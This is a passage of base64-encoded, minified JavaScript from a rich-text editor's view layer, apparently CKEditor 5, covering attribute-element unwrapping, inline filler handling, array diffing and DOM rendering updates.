0dHJpYnV0ZUtleXMoKSl7aWYobj09PSJjbGFzcyJ8fG49PT0ic3R5bGUiKXtjb250aW51ZX1pZighZS5oYXNBdHRyaWJ1dGUobikpe3RoaXMuc2V0QXR0cmlidXRlKG4sdC5nZXRBdHRyaWJ1dGUobiksZSl9fWZvcihjb25zdCBuIG9mIHQuZ2V0U3R5bGVOYW1lcygpKXtpZighZS5oYXNTdHlsZShuKSl7dGhpcy5zZXRTdHlsZShuLHQuZ2V0U3R5bGUobiksZSl9fWZvcihjb25zdCBuIG9mIHQuZ2V0Q2xhc3NOYW1lcygpKXtpZighZS5oYXNDbGFzcyhuKSl7dGhpcy5hZGRDbGFzcyhuLGUpfX1yZXR1cm4gdHJ1ZX1fdW53cmFwQXR0cmlidXRlRWxlbWVudCh0LGUpe2lmKCFkZCh0LGUpKXtyZXR1cm4gZmFsc2V9aWYodC5uYW1lIT09ZS5uYW1lfHx0LnByaW9yaXR5IT09ZS5wcmlvcml0eSl7cmV0dXJuIGZhbHNlfWZvcihjb25zdCBuIG9mIHQuZ2V0QXR0cmlidXRlS2V5cygpKXtpZihuPT09ImNsYXNzInx8bj09PSJzdHlsZSIpe2NvbnRpbnVlfWlmKCFlLmhhc0F0dHJpYnV0ZShuKXx8ZS5nZXRBdHRyaWJ1dGUobikhPT10LmdldEF0dHJpYnV0ZShuKSl7cmV0dXJuIGZhbHNlfX1pZighZS5oYXNDbGFzcyguLi50LmdldENsYXNzTmFtZXMoKSkpe3JldHVybiBmYWxzZX1mb3IoY29uc3QgbiBvZiB0LmdldFN0eWxlTmFtZXMoKSl7aWYoIWUuaGFzU3R5bGUobil8fGUuZ2V0U3R5bGUobikhPT10LmdldFN0eWxlKG4pKXtyZXR1cm4gZmFsc2V9fWZvcihjb25zdCBuIG9mIHQuZ2V0QXR0cmlidXRlS2V5cygpKXtpZihuPT09ImNsYXNzInx8bj09PSJzdHlsZSIpe2NvbnRpbnVlfXRoaXMucmVtb3ZlQXR0cmlidXRlKG4sZSl9dGhpcy5yZW1vdmVDbGFzcyhBcnJheS5mcm9tKHQuZ2V0Q2xhc3NOYW1lcygpKSxlKTt0aGlzLnJlbW92ZVN0eWxlKEFycmF5LmZyb20odC5nZXRTdHlsZU5hbWVzKCkpLGUpO3JldHVybiB0cnVlfV9icmVha0F0dHJpYnV0ZXNSYW5nZSh0LGU9ZmFsc2Upe2NvbnN0IG49dC5zdGFydDtjb25zdCBpPXQuZW5kO2xkKHQsdGhpcy5kb2N1bWVudCk7aWYodC5pc0NvbGxhcHNlZCl7Y29uc3Qgbj10aGlzLl9icmVha0F0dHJpYnV0ZXModC5zdGFydCxlKTtyZXR1cm4gbmV3IGZsKG4sbil9Y29uc3Qgbz10aGlzLl9icmVha0F0dHJpYnV0ZXMoaSxlKTtjb25zdCByPW8ucGFyZW50LmNoaWxkQ291bnQ7Y29uc3Qgcz10aGlzLl9icmVha0F0dHJpYnV0ZXMobixlKTtvLm9mZnNldCs9by5wYXJlbnQuY2hpbGRDb3VudC1yO3JldHVybiBuZXcgZmwocyxvKX1fYnJlYWtBdHRyaWJ1dGVzKHQsZT1mYWxzZSl7Y29uc3Qgbj10Lm9mZnNldDtjb25zdCBpPXQucGFyZW50O2lmKHQucGFyZW50LmlzKCJlbXB0eUVsZW1lbnQiKSl7dGhyb3cgbmV3IHNzWyJhIl0oInZpZXctd3JpdGVyLWNhbm5vdC1icmVhay1lbXB0eS1lbGVtZW50Iix0aGlzLmRvY3VtZW50KX1pZih0LnBhcmVudC5pcygidWlFbGVtZW50Iikpe3Rocm93IG5ldyBzc1siYSJdKCJ2aWV3LXdyaXRlci1jYW5ub3QtYnJlYWstdWktZWxlbWVudCIsdGhpcy5kb2N1bWVudCl9aWYodC5wYXJlbnQuaXMoInJhd0VsZW1lbnQiKSl7dGhyb3cgbmV3IHNzWyJhIl0oInZpZXctd3JpdGVyLWNhbm5vdC1icmVhay1yYXctZWxlbWVudCIsdGhpcy5kb2N1bWVudCl9aWYoIWUmJmkuaXMoIiR0ZXh0IikmJmNkKGkucGFyZW50KSl7cmV0dXJuIHQuY2xvbmUoKX1pZihjZChpKSl7cmV0dXJuIHQuY2xvbmUoKX1pZihpLmlzKCIkdGV4dCIpKXtyZXR1cm4gdGhpcy5fYnJlYWtBdHRyaWJ1dGVzKG9kKHQpLGUpfWNvbnN0IG89aS5jaGlsZENvdW50O2lmKG49PW8pe2NvbnN0IHQ9bmV3IGhsKGkucGFyZW50LGkuaW5kZXgrMSk7cmV0dXJuIHRoaXMuX2JyZWFrQXR0cmlidXRlcyh0LGUpfWVsc2V7aWYobj09PTApe2NvbnN0IHQ9bmV3IGhsKGkucGFyZW50LGkuaW5kZXgpO3JldHVybiB0aGlzLl9icmVha0F0dHJpYnV0ZXModCxlKX1lbHNle2NvbnN0IHQ9aS5pbmRleCsxO2NvbnN0IG89aS5fY2xvbmUoKTtpLnBhcmVudC5faW5zZXJ0Q2hpbGQodCxvKTt0aGlzLl9hZGRUb0Nsb25lZEVsZW1lbnRzR3JvdXAobyk7Y29uc3Qgcj1pLmNoaWxkQ291bnQtbjtjb25zdCBzPWkuX3JlbW92ZUNoaWxkcmVuKG4scik7by5fYXBwZW5kQ2hpbGQocyk7Y29uc3QgYT1uZXcgaGwoaS5wYXJlbnQsdCk7cmV0dXJuIHRoaXMuX2JyZWFrQXR0cmlidXRlcyhhLGUpfX19X2FkZFRvQ2xvbmVkRWxlbWVudHNHcm91cCh0KXtpZighdC5yb290LmlzKCJyb290RWxlbWVudCIpKXtyZXR1cm59aWYodC5pcygiZWxlbWVudCIpKXtmb3IoY29uc3QgZSBvZiB0LmdldENoaWxkcmVuKCkpe3RoaXMuX2FkZFRvQ2xvbmVkRWxlbWVudHNHcm91cChlKX19Y29uc3QgZT10LmlkO2lmKCFlKXtyZXR1cm59bGV0IG49dGhpcy5fY2xvbmVHcm91cHMuZ2V0KGUpO2lmKCFuKXtuPW5ldyBTZXQ7dGhpcy5fY2xvbmVHcm91cHMuc2V0KGUsbil9bi5hZGQodCk7dC5fY2xvbmVzR3JvdXA9bn1fcmVtb3ZlRnJvbUNsb25lZEVsZW1lbnRzR3JvdXAodCl7aWYodC5pcygiZWxlbWVudCIpKXtmb3IoY29uc3QgZSBvZiB0LmdldENoaWxkcmVuKCkpe3RoaXMuX3JlbW92ZUZyb21DbG9uZWRFbGVtZW50c0dyb3VwKGUpfX1jb25zdCBlPXQuaWQ7aWYoIWUpe3JldHVybn1jb25zdCBuPXRoaXMuX2Nsb25lR3JvdXBzLmdldChlKTtpZighbil7cmV0dXJufW4uZGVsZXRlKHQpfX1mdW5jdGlvbiB0ZCh0KXtyZXR1cm4gQXJyYXkuZnJvbSh0LmdldENoaWxkcmVuKCkpLnNvbWUoKHQ9PiF0LmlzKCJ1aUVsZW1lbnQiKSkpfWZ1bmN0aW9uIGVkKHQpe2xldCBlPXQucGFyZW50O3doaWxlKCFjZChlKSl7aWYoIWUpe3JldHVybiB1bmRlZmluZWR9ZT1lLnBhcmVudH1yZXR1cm4gZX1mdW5jdGlvbiBuZCh0LGUpe2lmKHQucHJpb3JpdHk8ZS5wcmlvcml0eSl7cmV0dXJuIHRydWV9ZWxzZSBpZih0LnByaW9yaXR5PmUucHJpb3JpdHkpe3JldHVybiBmYWxzZX1yZXR1cm4gdC5nZXRJZGVudGl0eSgpPGUuZ2V0SWRlbnRpdHkoKX1mdW5jdGlvbiBpZCh0KXtjb25zdCBlPXQubm9kZUJlZm9yZTtpZihlJiZlLmlzKCIkdGV4dCIpKXtyZXR1cm4gbmV3IGhsKGUsZS5kYXRhLmxlbmd0aCl9Y29uc3Qgbj10Lm5vZGVBZnRlcjtpZihuJiZuLmlzKCIkdGV4dCIpKXtyZXR1cm4gbmV3IGhsKG4sMCl9cmV0dXJuIHR9ZnVuY3Rpb24gb2QodCl7aWYodC5vZmZzZXQ9PXQucGFyZW50LmRhdGEubGVuZ3RoKXtyZXR1cm4gbmV3IGhsKHQucGFyZW50LnBhcmVudCx0LnBhcmVudC5pbmRleCsxKX1pZih0Lm9mZnNldD09PTApe3JldHVybiBuZXcgaGwodC5wYXJlbnQucGFyZW50LHQucGFyZW50LmluZGV4KX1jb25zdCBlPXQucGFyZW50LmRhdGEuc2xpY2UodC5vZmZzZXQpO3QucGFyZW50Ll9kYXRhPXQucGFyZW50LmRhdGEuc2xpY2UoMCx0Lm9mZnNldCk7dC5wYXJlbnQucGFyZW50Ll9pbnNlcnRDaGlsZCh0LnBhcmVudC5pbmRleCsxLG5ldyBWcyh0LnJvb3QuZG9jdW1lbnQsZSkpO3JldHVybiBuZXcgaGwodC5wYXJlbnQucGFyZW50LHQucGFyZW50LmluZGV4KzEpfWZ1bmN0aW9uIHJkKHQsZSl7Y29uc3Qgbj10LmRhdGEubGVuZ3RoO3QuX2RhdGErPWUuZGF0YTtlLl9yZW1vdmUoKTtyZXR1cm4gbmV3IGhsKHQsbil9ZnVuY3Rpb24gc2QodCxlKXtmb3IoY29uc3QgbiBvZiB0KXtpZighYWQuc29tZSgodD0+biBpbnN0YW5jZW9mIHQpKSl7dGhyb3cgbmV3IHNzWyJhIl0oInZpZXctd3JpdGVyLWluc2VydC1pbnZhbGlkLW5vZGUtdHlwZSIsZSl9aWYoIW4uaXMoIiR0ZXh0Iikpe3NkKG4uZ2V0Q2hpbGRyZW4oKSxlKX19fWNvbnN0IGFkPVtWcyxDbCxIYyx2bCxRbCxXbF07ZnVuY3Rpb24gY2QodCl7cmV0dXJuIHQmJih0LmlzKCJjb250YWluZXJFbGVtZW50Iil8fHQuaXMoImRvY3VtZW50RnJhZ21lbnQiKSl9ZnVuY3Rpb24gbGQodCxlKXtjb25zdCBuPWVkKHQuc3RhcnQpO2NvbnN0IGk9ZWQodC5lbmQpO2lmKCFufHwhaXx8biE9PWkpe3Rocm93IG5ldyBzc1siYSJdKCJ2aWV3LXdyaXRlci1pbnZhbGlkLXJhbmdlLWNvbnRhaW5lciIsZSl9fWZ1bmN0aW9uIGRkKHQsZSl7cmV0dXJuIHQuaWQ9PT1udWxsJiZlLmlkPT09bnVsbH1mdW5jdGlvbiB1ZCh0KXtyZXR1cm4gT2JqZWN0LnByb3RvdHlwZS50b1N0cmluZy5jYWxsKHQpPT0iW29iamVjdCBUZXh0XSJ9Y29uc3QgaGQ9dD0+dC5jcmVhdGVUZXh0Tm9kZSgiwqAiKTtjb25zdCBmZD10PT57Y29uc3QgZT10LmNyZWF0ZUVsZW1lbnQoImJyIik7ZS5kYXRhc2V0LmNrZUZpbGxlcj10cnVlO3JldHVybiBlfTtjb25zdCBtZD03O2NvbnN0IGdkPSgoKT0+e2xldCB0PSIiO2ZvcihsZXQgZT0wO2U8bWQ7ZSsrKXt0Kz0i4oCLIn1yZXR1cm4gdH0pKCk7ZnVuY3Rpb24gcGQodCl7cmV0dXJuIHVkKHQpJiZ0LmRhdGEuc3Vic3RyKDAsbWQpPT09Z2R9ZnVuY3Rpb24ga2QodCl7cmV0dXJuIHQuZGF0YS5sZW5ndGg9PW1kJiZwZCh0KX1mdW5jdGlvbiBiZCh0KXtpZihwZCh0KSl7cmV0dXJuIHQuZGF0YS5zbGljZShtZCl9ZWxzZXtyZXR1cm4gdC5kYXRhfX1mdW5jdGlvbiB3ZCh0KXt0LmRvY3VtZW50Lm9uKCJrZXlkb3duIixDZCl9ZnVuY3Rpb24gQ2QodCxlKXtpZihlLmtleUNvZGU9PUxsLmFycm93bGVmdCl7Y29uc3QgdD1lLmRvbVRhcmdldC5vd25lckRvY3VtZW50LmRlZmF1bHRWaWV3LmdldFNlbGVjdGlvbigpO2lmKHQucmFuZ2VDb3VudD09MSYmdC5nZXRSYW5nZUF0KDApLmNvbGxhcHNlZCl7Y29uc3QgZT10LmdldFJhbmdlQXQoMCkuc3RhcnRDb250YWluZXI7Y29uc3Qgbj10LmdldFJhbmdlQXQoMCkuc3RhcnRPZmZzZXQ7aWYocGQoZSkmJm48PW1kKXt0LmNvbGxhcHNlKGUsMCl9fX19ZnVuY3Rpb24gQWQodCxlLG4saT1mYWxzZSl7bj1ufHxmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX07aWYoIUFycmF5LmlzQXJyYXkodCkpe3Q9QXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwodCl9aWYoIUFycmF5LmlzQXJyYXkoZSkpe2U9QXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwoZSl9Y29uc3Qgbz1fZCh0LGUsbik7cmV0dXJuIGk/RGQobyxlLmxlbmd0aCk6eGQoZSxvKX1mdW5jdGlvbiBfZCh0LGUsbil7Y29uc3QgaT12ZCh0LGUsbik7aWYoaT09PS0xKXtyZXR1cm57Zmlyc3RJbmRleDotMSxsYXN0SW5kZXhPbGQ6LTEsbGFzdEluZGV4TmV3Oi0xfX1jb25zdCBvPXlkKHQsaSk7Y29uc3Qgcj15ZChlLGkpO2NvbnN0IHM9dmQobyxyLG4pO2NvbnN0IGE9dC5sZW5ndGgtcztjb25zdCBjPWUubGVuZ3RoLXM7cmV0dXJue2ZpcnN0SW5kZXg6aSxsYXN0SW5kZXhPbGQ6YSxsYXN0SW5kZXhOZXc6Y319ZnVuY3Rpb24gdmQodCxlLG4pe2ZvcihsZXQgaT0wO2k8TWF0aC5tYXgodC5sZW5ndGgsZS5sZW5ndGgpO2krKyl7aWYodFtpXT09PXVuZGVmaW5lZHx8ZVtpXT09PXVuZGVmaW5lZHx8IW4odFtpXSxlW2ldKSl7cmV0dXJuIGl9fXJldHVybi0xfWZ1bmN0aW9uIHlkKHQsZSl7cmV0dXJuIHQuc2xpY2UoZSkucmV2ZXJzZSgpfWZ1bmN0aW9uIHhkKHQsZSl7Y29uc3Qgbj1bXTtjb25zdHtmaXJzdEluZGV4OmksbGFzdEluZGV4T2xkOm8sbGFzdEluZGV4TmV3OnJ9PWU7aWYoci1pPjApe24ucHVzaCh7aW5kZXg6aSx0eXBlOiJpbnNlcnQiLHZhbHVlczp0LnNsaWNlKGkscil9KX1pZihvLWk+MCl7bi5wdXNoKHtpbmRleDppKyhyLWkpLHR5cGU6ImRlbGV0ZSIsaG93TWFueTpvLWl9KX1yZXR1cm4gbn1mdW5jdGlvbiBEZCh0LGUpe2NvbnN0e2ZpcnN0SW5kZXg6bixsYXN0SW5kZXhPbGQ6aSxsYXN0SW5kZXhOZXc6b309dDtpZihuPT09LTEpe3JldHVybiBBcnJheShlKS5maWxsKCJlcXVhbCIpfWxldCByPVtdO2lmKG4+MCl7cj1yLmNvbmNhdChBcnJheShuKS5maWxsKCJlcXVhbCIpKX1pZihvLW4+MCl7cj1yLmNvbmNhdChBcnJheShvLW4pLmZpbGwoImluc2VydCIpKX1pZihpLW4+MCl7cj1yLmNvbmNhdChBcnJheShpLW4pLmZpbGwoImRlbGV0ZSIpKX1pZihvPGUpe3I9ci5jb25jYXQoQXJyYXkoZS1vKS5maWxsKCJlcXVhbCIpKX1yZXR1cm4gcn1mdW5jdGlvbiBFZCh0LGUsbil7bj1ufHxmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX07Y29uc3QgaT10Lmxlbmd0aDtjb25zdCBvPWUubGVuZ3RoO2lmKGk+MjAwfHxvPjIwMHx8aStvPjMwMCl7cmV0dXJuIEVkLmZhc3REaWZmKHQsZSxuLHRydWUpfWxldCByLHM7aWYobzxpKXtjb25zdCBuPXQ7dD1lO2U9bjtyPSJkZWxldGUiO3M9Imluc2VydCJ9ZWxzZXtyPSJpbnNlcnQiO3M9ImRlbGV0ZSJ9Y29uc3QgYT10Lmxlbmd0aDtjb25zdCBjPWUubGVuZ3RoO2NvbnN0IGw9Yy1hO2NvbnN0IGQ9e307Y29uc3QgdT17fTtmdW5jdGlvbiBoKGkpe2NvbnN0IG89KHVbaS0xXSE9PXVuZGVmaW5lZD91W2ktMV06LTEpKzE7Y29uc3QgbD11W2krMV0hPT11bmRlZmluZWQ/dVtpKzFdOi0xO2NvbnN0IGg9bz5sPy0xOjE7aWYoZFtpK2hdKXtkW2ldPWRbaStoXS5zbGljZSgwKX1pZighZFtpXSl7ZFtpXT1bXX1kW2ldLnB1c2gobz5sP3I6cyk7bGV0IGY9TWF0aC5tYXgobyxsKTtsZXQgbT1mLWk7d2hpbGUobTxhJiZmPGMmJm4odFttXSxlW2ZdKSl7bSsrO2YrKztkW2ldLnB1c2goImVxdWFsIil9cmV0dXJuIGZ9bGV0IGY9MDtsZXQgbTtkb3tmb3IobT0tZjttPGw7bSsrKXt1W21dPWgobSl9Zm9yKG09bCtmO20+bDttLS0pe3VbbV09aChtKX11W2xdPWgobCk7ZisrfXdoaWxlKHVbbF0hPT1jKTtyZXR1cm4gZFtsXS5zbGljZSgxKX1FZC5mYXN0RGlmZj1BZDtmdW5jdGlvbiBNZCh0LGUsbil7dC5pbnNlcnRCZWZvcmUobix0LmNoaWxkTm9kZXNbZV18fG51bGwpfWZ1bmN0aW9uIFNkKHQpe2NvbnN0IGU9dC5wYXJlbnROb2RlO2lmKGUpe2UucmVtb3ZlQ2hpbGQodCl9fWZ1bmN0aW9uIFRkKHQpe2lmKHQpe2lmKHQuZGVmYXVsdFZpZXcpe3JldHVybiB0IGluc3RhbmNlb2YgdC5kZWZhdWx0Vmlldy5Eb2N1bWVudH1lbHNlIGlmKHQub3duZXJEb2N1bWVudCYmdC5vd25lckRvY3VtZW50LmRlZmF1bHRWaWV3KXtyZXR1cm4gdCBpbnN0YW5jZW9mIHQub3duZXJEb2N1bWVudC5kZWZhdWx0Vmlldy5Ob2RlfX1yZXR1cm4gZmFsc2V9Y2xhc3MgSWR7Y29uc3RydWN0b3IodCxlKXt0aGlzLmRvbURvY3VtZW50cz1uZXcgU2V0O3RoaXMuZG9tQ29udmVydGVyPXQ7dGhpcy5tYXJrZWRBdHRyaWJ1dGVzPW5ldyBTZXQ7dGhpcy5tYXJrZWRDaGlsZHJlbj1uZXcgU2V0O3RoaXMubWFya2VkVGV4dHM9bmV3IFNldDt0aGlzLnNlbGVjdGlvbj1lO3RoaXMuaXNGb2N1c2VkPWZhbHNlO3RoaXMuX2lubGluZUZpbGxlcj1udWxsO3RoaXMuX2Zha2VTZWxlY3Rpb25Db250YWluZXI9bnVsbH1tYXJrVG9TeW5jKHQsZSl7aWYodD09PSJ0ZXh0Iil7aWYodGhpcy5kb21Db252ZXJ0ZXIubWFwVmlld1RvRG9tKGUucGFyZW50KSl7dGhpcy5tYXJrZWRUZXh0cy5hZGQoZSl9fWVsc2V7aWYoIXRoaXMuZG9tQ29udmVydGVyLm1hcFZpZXdUb0RvbShlKSl7cmV0dXJufWlmKHQ9PT0iYXR0cmlidXRlcyIpe3RoaXMubWFya2VkQXR0cmlidXRlcy5hZGQoZSl9ZWxzZSBpZih0PT09ImNoaWxkcmVuIil7dGhpcy5tYXJrZWRDaGlsZHJlbi5hZGQoZSl9ZWxzZXt0aHJvdyBuZXcgc3NbImEiXSgidmlldy1yZW5kZXJlci11bmtub3duLXR5cGUiLHRoaXMpfX19cmVuZGVyKCl7bGV0IHQ7Zm9yKGNvbnN0IHQgb2YgdGhpcy5tYXJrZWRDaGlsZHJlbil7dGhpcy5fdXBkYXRlQ2hpbGRyZW5NYXBwaW5ncyh0KX1pZih0aGlzLl9pbmxpbmVGaWxsZXImJiF0aGlzLl9pc1NlbGVjdGlvbkluSW5saW5lRmlsbGVyKCkpe3RoaXMuX3JlbW92ZUlubGluZUZpbGxlcigpfWlmKHRoaXMuX2lubGluZUZpbGxlcil7dD10aGlzLl9nZXRJbmxpbmVGaWxsZXJQb3NpdGlvbigpfWVsc2UgaWYodGhpcy5fbmVlZHNJbmxpbmVGaWxsZXJBdFNlbGVjdGlvbigpKXt0PXRoaXMuc2VsZWN0aW9uLmdldEZpcnN0UG9zaXRpb24oKTt0aGlzLm1hcmtlZENoaWxkcmVuLmFkZCh0LnBhcmVudCl9Zm9yKGNvbnN0IHQgb2YgdGhpcy5tYXJrZWRBdHRyaWJ1dGVzKXt0aGlzLl91cGRhdGVBdHRycyh0KX1mb3IoY29uc3QgZSBvZiB0aGlzLm1hcmtlZENoaWxkcmVuKXt0aGlzLl91cGRhdGVDaGlsZHJlbihlLHtpbmxpbmVGaWxsZXJQb3NpdGlvbjp0fSl9Zm9yKGNvbnN0IGUgb2YgdGhpcy5tYXJrZWRUZXh0cyl7aWYoIXRoaXMubWFya2VkQ2hpbGRyZW4uaGFzKGUucGFyZW50KSYmdGhpcy5kb21Db252ZXJ0ZXIubWFwVmlld1RvRG9tKGUucGFyZW50KSl7dGhpcy5fdXBkYXRlVGV4dChlLHtpbmxpbmVGaWxsZXJQb3NpdGlvbjp0fSl9fWlmKHQpe2NvbnN0IGU9dGhpcy5kb21Db252ZXJ0ZXIudmlld1Bvc2l0aW9uVG9Eb20odCk7Y29uc3Qgbj1lLnBhcmVudC5vd25lckRvY3VtZW50O2lmKCFwZChlLnBhcmVudCkpe3RoaXMuX2lubGluZUZpbGxlcj1CZChuLGUucGFyZW50LGUub2Zmc2V0KX1lbHNle3RoaXMuX2lubGluZUZpbGxlcj1lLnBhcmVudH19ZWxzZXt0aGlzLl9pbmxpbmVGaWxsZXI9bnVsbH10aGlzLl91cGRhdGVTZWxlY3Rpb24oKTt0aGlzLl91cGRhdGVGb2N1cygpO3RoaXMubWFya2VkVGV4dHMuY2xlYXIoKTt0aGlzLm1hcmtlZEF0dHJpYnV0ZXMuY2xlYXIoKTt0aGlzLm1hcmtlZENoaWxkcmVuLmNsZWFyKCl9X3VwZGF0ZUNoaWxkcmVuTWFwcGluZ3ModCl7Y29uc3QgZT10aGlzLmRvbUNvbnZlcnRlci5tYXBWaWV3VG9Eb20odCk7aWYoIWUpe3JldHVybn1jb25zdCBuPXRoaXMuZG9tQ29udmVydGVyLm1hcFZpZXdUb0RvbSh0KS5jaGlsZE5vZGVzO2NvbnN0IGk9QXJyYXkuZnJvbSh0aGlzLmRvbUNvbnZlcnRlci52aWV3Q2hpbGRyZW5Ub0RvbSh0LGUub3duZXJEb2N1bWVudCx7d2l0aENoaWxkcmVuOmZhbHNlfSkpO2NvbnN0IG89dGhpcy5fZGlmZk5vZGVMaXN0cyhuLGkpO2NvbnN0IHI9dGhpcy5fZmluZFJlcGxhY2VBY3Rpb25zKG8sbixpKTtpZihyLmluZGV4T2YoInJlcGxhY2UiKSE9PS0xKXtjb25zdCBlPXtlcXVhbDowLGluc2VydDowLGRlbGV0ZTowfTtmb3IoY29uc3QgbyBvZiByKXtpZihvPT09InJlcGxhY2UiKXtjb25zdCBvPWUuZXF1YWwrZS5pbnNlcnQ7Y29uc3Qgcj1lLmVxdWFsK2UuZGVsZXRlO2NvbnN0IHM9dC5nZXRDaGlsZChvKTtpZihzJiYhKHMuaXMoInVpRWxlbWVudCIpfHxzLmlzKCJyYXdFbGVtZW50IikpKXt0aGlzLl91cGRhdGVFbGVtZW50TWFwcGluZ3MocyxuW3JdKX1TZChpW29dKTtlLmVxdWFsKyt9ZWxzZXtlW29dKyt9fX19X3VwZGF0ZUVsZW1lbnRNYXBwaW5ncyh0LGUpe3RoaXMuZG9tQ29udmVydGVyLnVuYmluZERvbUVsZW1lbnQoZSk7dGhpcy5kb21Db252ZXJ0ZXIuYmluZEVsZW1lbnRzKGUsdCk7dGhpcy5tYXJrZWRDaGlsZHJlbi5hZGQodCk7dGhpcy5tYXJrZWRBdHRyaWJ1dGVzLmFkZCh0KX1fZ2V0SW5saW5lRmlsbGVyUG9zaXRpb24oKXtjb25zdCB0PXRoaXMuc2VsZWN0aW9uLmdldEZpcnN0UG9zaXRpb24oKTtpZih0LnBhcmVudC5pcygiJHRleHQiKSl7cmV0dXJuIGhsLl9jcmVhdGVCZWZvcmUodGhpcy5zZWxlY3Rpb24uZ2V0Rmlyc3RQb3NpdGlvbigpLnBhcmVudCl9ZWxzZXtyZXR1cm4gdH19X2lzU2VsZWN0aW9uSW5JbmxpbmVGaWxsZXIoKXtpZih0aGlzLnNlbGVjdGlvbi5yYW5nZUNvdW50IT0xfHwhdGhpcy5zZWxlY3Rpb24uaXNDb2xsYXBzZWQpe3JldHVybiBmYWxzZX1jb25zdCB0PXRoaXMuc2VsZWN0aW9uLmdldEZpcnN0UG9zaXRpb24oKTtjb25zdCBlPXRoaXMuZG9tQ29udmVydGVyLnZpZXdQb3NpdGlvblRvRG9tKHQpO2lmKGUmJnVkKGUucGFyZW50KSYmcGQoZS5wYXJlbnQpKXtyZXR1cm4gdHJ1ZX1yZXR1cm4gZmFsc2V9X3JlbW92ZUlubGluZUZpbGxlcigpe2NvbnN0IHQ9dGhpcy5faW5saW5lRmlsbGVyO2lmKCFwZCh0KSl7dGhyb3cgbmV3IHNzWyJhIl0oInZpZXctcmVuZGVyZXItZmlsbGVyLXdhcy1sb3N0Iix0aGlzKX1pZihrZCh0KSl7dC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHQpfWVsc2V7dC5kYXRhPXQuZGF0YS5zdWJzdHIobWQpfXRoaXMuX2lubGluZUZpbGxlcj1udWxsfV9uZWVkc0lubGluZUZpbGxlckF0U2VsZWN0aW9uKCl7aWYodGhpcy5zZWxlY3Rpb24ucmFuZ2VDb3VudCE9MXx8IXRoaXMuc2VsZWN0aW9uLmlzQ29sbGFwc2VkKXtyZXR1cm4gZmFsc2V9Y29uc3QgdD10aGlzLnNlbGVjdGlvbi5nZXRGaXJzdFBvc2l0aW9uKCk7Y29uc3QgZT10LnBhcmVudDtjb25zdCBuPXQub2Zmc2V0O2lmKCF0aGlzLmRvbUNvbnZlcnRlci5tYXBWaWV3VG9Eb20oZS5yb290KSl7cmV0dXJuIGZhbHNlfWlmKCFlLmlzKCJlbGVtZW50Iikpe3JldHVybiBmYWxzZX1pZighTmQoZSkpe3JldHVybiBmYWxzZX1pZihuPT09ZS5nZXRGaWxsZXJPZmZzZXQoKSl7cmV0dXJuIGZhbHNlfWNvbnN0IGk9dC5ub2RlQmVmb3JlO2NvbnN0IG89dC5ub2RlQWZ0ZXI7aWYoaSBpbnN0YW5jZW9mIFZzfHxvIGluc3RhbmNlb2YgVnMpe3JldHVybiBmYWxzZX1yZXR1cm4gdHJ1ZX1fdXBkYXRlVGV4dCh0LGUpe2NvbnN0IG49dGhpcy5kb21Db252ZXJ0ZXIuZmluZENvcnJlc3BvbmRpbmdEb21UZXh0KHQpO2NvbnN0IGk9dGhpcy5kb21Db252ZXJ0ZXIudmlld1RvRG9tKHQsbi5vd25lckRvY3VtZW50KTtjb25zdCBvPW4uZGF0YTtsZXQgcj1pLmRhdGE7Y29uc3Qgcz1lLmlubGluZUZpbGxlclBvc2l0aW9uO2lmKHMmJnMucGFyZW50PT10LnBhcmVudCYmcy5vZmZzZXQ9PXQuaW5kZXgpe3I9Z2Qrcn1pZihvIT1yKXtjb25zdCB0PUFkKG8scik7Zm9yKGNvbnN0IGUgb2YgdCl7aWYoZS50eXBlPT09Imluc2VydCIpe24uaW5zZXJ0RGF0YShlLmluZGV4LGUudmFsdWVzLmpvaW4oIiIpKX1lbHNle24uZGVsZXRlRGF0YShlLmluZGV4LGUuaG93TWFueSl9fX19X3VwZGF0ZUF0dHJzKHQpe2NvbnN0IGU9dGhpcy5kb21Db252ZXJ0ZXIubWFwVmlld1RvRG9tKHQpO2lmKCFlKXtyZXR1cm59Y29uc3Qgbj1BcnJheS5mcm9tKGUuYXR0cmlidXRlcykubWFwKCh0PT50Lm5hbWUpKTtjb25zdCBpPXQuZ2V0QXR0cmlidXRlS2V5cygpO2Zvcihjb25zdCBuIG9mIGkpe2Uuc2V0QXR0cmlidXRlKG4sdC5nZXRBdHRyaWJ1dGUobikpfWZvcihjb25zdCBpIG9mIG4pe2lmKCF0Lmhhc0F0dHJpYnV0ZShpKSl7ZS5yZW1vdmVBdHRyaWJ1dGUoaSl9fX1fdXBkYXRlQ2hpbGRyZW4odCxlKXtjb25zdCBuPXRoaXMuZG9tQ29udmVydGVyLm1hcFZpZXdUb0RvbSh0KTtpZighbil7cmV0dXJufWNvbnN0IGk9ZS5pbmxpbmVGaWxsZXJQb3NpdGlvbjtjb25zdCBvPXRoaXMuZG9tQ29udmVydGVyLm1hcFZpZXdUb0RvbSh0KS5jaGlsZE5vZGVzO2NvbnN0IHI9QXJyYXkuZnJvbSh0aGlzLmRvbUNvbnZlcnRlci52aWV3Q2hpbGRyZW5Ub0RvbSh0LG4ub3duZXJEb2N1bWVudCx7YmluZDp0cnVlLGlubGluZUZpbGxlclBvc2l0aW9uOml9KSk7aWYoaSYmaS5wYXJlbnQ9PT10KXtCZChuLm93bmVyRG9jdW1lbnQscixpLm9mZnNldCl9Y29uc3Qgcz10aGlzLl9kaWZmTm9kZUxpc3RzKG8scik7bGV0IGE9MDtjb25zdCBjPW5ldyBTZXQ7Zm9yKGNvbnN0IHQgb2Ygcyl7aWYodD09PSJkZWxldGUiKXtjLmFkZChvW2FdKTtTZChvW2FdKX1lbHNlIGlmKHQ9PT0iZXF1YWwiKXthKyt9fWE9MDtmb3IoY29uc3QgdCBvZiBzKXtpZih0PT09Imluc2VydCIpe01kKG4sYSxyW2FdKTthKyt9ZWxzZSBpZih0PT09ImVxdWFsIil7dGhpcy5fbWFya0Rlc2NlbmRhbnRUZXh0VG9TeW5jKHRoaXMuZG9tQ29udmVydGVyLmRvbVRvVmlldyhyW2FdKSk7YSsrfX1mb3IoY29uc3QgdCBvZiBjKXtpZighdC5wYXJlbnROb2RlKXt0aGlzLmRvbUNvbnZlcnRlci51bmJpbmREb21FbGVtZW50KHQpfX19X2RpZmZOb2RlTGlzdHModCxlKXt0PU9kKHQsdGhpcy5fZmFrZVNlbGVjdGlvbkNvbnRhaW5lcik7cmV0dXJuIEVkKHQsZSx6ZC5iaW5kKG51b